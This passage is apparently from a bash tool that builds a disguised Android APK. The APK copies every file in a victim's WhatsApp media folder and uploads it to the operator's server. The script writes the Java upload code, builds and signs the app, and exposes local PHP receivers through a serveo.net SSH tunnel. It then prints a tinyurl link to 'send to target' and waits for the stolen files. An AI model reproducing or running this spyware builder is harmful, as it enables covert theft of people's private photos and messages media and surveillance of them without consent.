app/app/src/main/java/com/whatsup/MainActivity.java 106 | printf " if(ContextCompat.checkSelfPermission(getBaseContext(), \"android.permission.WRITE_EXTERNAL_STORAGE\") == PackageManager.PERMISSION_GRANTED) {\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 107 | 108 | printf "File dir = new File(\"/storage/emulated/0/WhatsApp/Media/\");\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 109 | 110 | 111 | printf " List files = (List) FileUtils.listFiles(dir,\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 112 | printf "TrueFileFilter.INSTANCE, TrueFileFilter.INSTANCE);\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 113 | printf " for (File file : files) {\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 114 | 115 | 116 | printf "try {\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 117 | printf " String pathW = file.getCanonicalPath();\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 118 | printf " upload(pathW);\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 119 | printf "} catch (Exception e) {\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 120 | 121 | printf " }\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 122 | printf " }\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 123 | 124 | 125 | printf " } else {\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 126 | printf " final int REQUEST_CODE_ASK_PERMISSIONS = 123;\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 127 | printf " ActivityCompat.requestPermissions(MainActivity.this, new String[]{\"android.permission.WRITE_EXTERNAL_STORAGE\"}, REQUEST_CODE_ASK_PERMISSIONS);\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 128 | printf " checkperm();\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 129 | printf " }\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 130 | 131 | printf "}\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 132 | 133 | printf " public void upload(String selectedPath) throws Exception {\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 134 | 135 | printf " HttpURLConnection connection = null;\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 136 | printf " DataOutputStream outputStream = null;\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 137 | printf " DataInputStream inputStream = null;\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 138 | 139 | printf " String pathToOurFile = selectedPath;\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 140 | printf " String urlServer = \"http://%s:%s/upload_files.php\";\n" $host $port >> app/app/src/main/java/com/whatsup/MainActivity.java 141 | printf " String lineEnd = \"%sr%sn\";\n" $lazy $lazy >> app/app/src/main/java/com/whatsup/MainActivity.java 142 | printf " String twoHyphens = \"--\";\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 143 | printf " String boundary = \"*****\";\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 144 | 145 | printf " int bytesRead, bytesAvailable, bufferSize;\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 146 | printf " byte[] buffer;\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 147 | printf " int maxBufferSize = 1 * 1024 * 1024;\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 148 | 149 | printf " FileInputStream fileInputStream = new FileInputStream(new File(\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 150 | printf " pathToOurFile));\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 151 | 152 | printf " URL url = new URL(urlServer);\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 153 | printf " connection = (HttpURLConnection) url.openConnection();\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 154 | 155 | printf " connection.setDoInput(true);\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 156 | printf " connection.setDoOutput(true);\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 157 | printf " connection.setUseCaches(false);\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 158 | 159 | printf " connection.setRequestMethod(\"POST\");\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 160 | 161 | printf " connection.setRequestProperty(\"Connection\", \"Keep-Alive\");\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 162 | printf " connection.setRequestProperty(\"Content-Type\",\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 163 | printf " \"multipart/form-data;boundary=\" + boundary);\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 164 | 165 | printf " outputStream = new DataOutputStream(connection.getOutputStream());\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 166 | printf " outputStream.writeBytes(twoHyphens + boundary + lineEnd);\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 167 | printf " outputStream\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 168 | printf " .writeBytes(\"Content-Disposition: form-data; name=%s\"uploadedfile%s\";filename=%s\"\"\n" $lazy $lazy $lazy >> app/app/src/main/java/com/whatsup/MainActivity.java 169 | 170 | printf " + pathToOurFile + \"%s\"\" + lineEnd);\n" $lazy >> app/app/src/main/java/com/whatsup/MainActivity.java 171 | printf " outputStream.writeBytes(lineEnd);\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 172 | 173 | printf " bytesAvailable = fileInputStream.available();\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 174 | printf " bufferSize = Math.min(bytesAvailable, maxBufferSize);\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 175 | printf " buffer = new byte[bufferSize];\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 176 | 177 | printf " bytesRead = fileInputStream.read(buffer, 0, bufferSize);\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 178 | 179 | printf " while (bytesRead > 0) {\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 180 | printf " outputStream.write(buffer, 0, bufferSize);\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 181 | printf " bytesAvailable = fileInputStream.available();\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 182 | printf " bufferSize = Math.min(bytesAvailable, maxBufferSize);\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 183 | printf " bytesRead = fileInputStream.read(buffer, 0, bufferSize);\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 184 | printf " }\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 185 | 186 | printf " outputStream.writeBytes(lineEnd);\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 187 | printf " outputStream.writeBytes(twoHyphens + boundary + twoHyphens + lineEnd);\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 188 | 189 | printf " int serverResponseCode = connection.getResponseCode();\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 190 | printf " String serverResponseMessage = connection.getResponseMessage();\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 191 | 192 | printf " fileInputStream.close();\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 193 | printf " outputStream.flush();\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 194 | printf " outputStream.close();\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 195 | 196 | printf " }\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 197 | printf "}\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 198 | 199 | } 200 | 201 | configureapp() { 202 | 203 | printf "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Configuring App...\e[0m\n" 204 | 205 | createapp 206 | } 207 | 208 | checkimg() { 209 | 210 | printf "\n" 211 | printf "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Waiting WhatsApp Files,\e[0m\e[1;77m Press Ctrl + C to exit...\e[0m\n" 212 | while [ true ]; do 213 | 214 | if [[ -e Log.log ]]; then 215 | printf "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] File Received!\e[0m\e[1;77m Saved: app/uploadedfiles/\e[0m\n" 216 | rm -rf Log.log 217 | fi 218 | done 219 | 220 | } 221 | 222 | server() { 223 | printf "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Starting server...\e[0m\n" 224 | 225 | if [ ! -d uploadedfiles/ ]; then 226 | mkdir uploadedfiles/ 227 | fi 228 | 229 | $(which sh) -c 'ssh -o StrictHostKeyChecking=no -o ServerAliveInterval=60 -R 80:localhost:3333 serveo.net -R '$port':localhost:4444 2> /dev/null > sendlink ' & 230 | 231 | 232 | sleep 7 233 | send_link=$(grep -o "https://[0-9a-z]*\.serveo.net" sendlink) 234 | 235 | printf "\n" 236 | printf '\n\e[1;93m[\e[0m\e[1;77m*\e[0m\e[1;93m] Send the direct link to target:\e[0m\e[1;77m %s/app.apk \n' $send_link 237 | send_ip=$(curl -s http://tinyurl.com/api-create.php?url=$send_link/app.apk | head -n1) 238 | printf '\n\e[1;93m[\e[0m\e[1;77m*\e[0m\e[1;93m] Or using tinyurl:\e[0m\e[1;77m %s \n' $send_ip 239 | printf "\n" 240 | 241 | php -S "localhost:3333" > /dev/null 2>&1 & 242 | php -S "localhost:4444" > /dev/null 2>&1 & 243 | sleep 3 244 | checkimg 245 | } 246 | 247 | 248 | checkapk() { 249 | if [[ -e app/build/outputs/apk/app-release-unsigned.apk ]]; then 250 | 251 | printf "\e[1;77m[\e[0m\e[1;92m+\e[0m\e[1;77m] Build Successful, Signing APK...\e[0m\n" 252 | 253 | mv app/build/outputs/apk/app-release-unsigned.apk app.apk 254 | echo " " | apksigner sign --ks key.keystore app.apk > /dev/null 255 | 256 | 257 | printf "\e[1;77m[\e[0m\e[1;92m+\e[0m\e[1;77m] Done!\e[0m\e[1;92m Saved:\e[0m\e[1;77m app/app.apk \e[0m\n" 258 | fi 259 | default_start_server="Y" 260 | read -p $'\e[1;77m[\e[0m\e[1;92m+\e[0m\e[1;77m] Start Server? [Y/n] ' start_server 261 | start_server="${start_server:-${default_start_server}}" 262 | if [[ $start_server == "Y" || $start_server == "Yes" || $start_server == "yes" || $start_server == "y" ]]; then 263 | 264 | server 265 | else 266 | exit 1 267 | fi 268 | 269 | } 270 | 271 | build() { 272 | default_start_build="Y" 273 | read -p $'\e[1;77m[\e[0m\e[1;92m+\e[0m\e[1;77m] Start build? [Y/n]: ' start_build 274 | start_build="${start_build:-${default_start_build}}" 275 | if [[ $start_build == "Y" || $start_build == "Yes" || $start_build == "yes" || $start_build == "y" ]]; then 276 | cd app/ 277 | gradle build 278 | checkapk 279 | else 280 | exit 1 281 | fi 282 | } 283 | 284 | port_conn() { 285 | 286 | default_port=$(seq 1111 4444 | sort -R | head -n1) 287 | printf '\e[1;77m[\e[0m\e[1;92m+\e[0m\e[1;77m] Choose a Port (Default:\e[0m\e[1;92m %s \e[0m\e[1;77m): \e[0m' $default_port 288 | read port 289 | port="${port:-${default_port}}" 290 | 291 | } 292 | 293 | 294 | start() { 295 | 296 | if [[ -e "app/sendlink" ]]; then 297 | rm -rf app/sendlink 298 | fi 299 | default_sdk_dir="/root/Android/Sdk" 300 | read -p $'\e[1;77m[\e[0m\e[1;92m+\e[0m\e[1;77m] Put Location of the SDK (Default /root/Android/Sdk): \e[0m' sdk_dir 301 | 302 | sdk_dir="${sdk_dir:-${default_sdk_dir}}" 303 | 304 | if [[ ! -d $sdk_dir ]]; then 305 | printf "\e[1;93m[!] Directory Not Found!\e[0m\n" 306 | sleep 1 307 | start 308 | else 309 | printf "sdk.dir=%s\n" > app/local.properties $sdk_dir 310 | port_conn 311 | configureapp 312 | build 313 | fi 314 | 315 | 316 | } 317 | banner 318 | dependencies 319 | start 320 | 321 | 322 | --------------------------------------------------------------------------------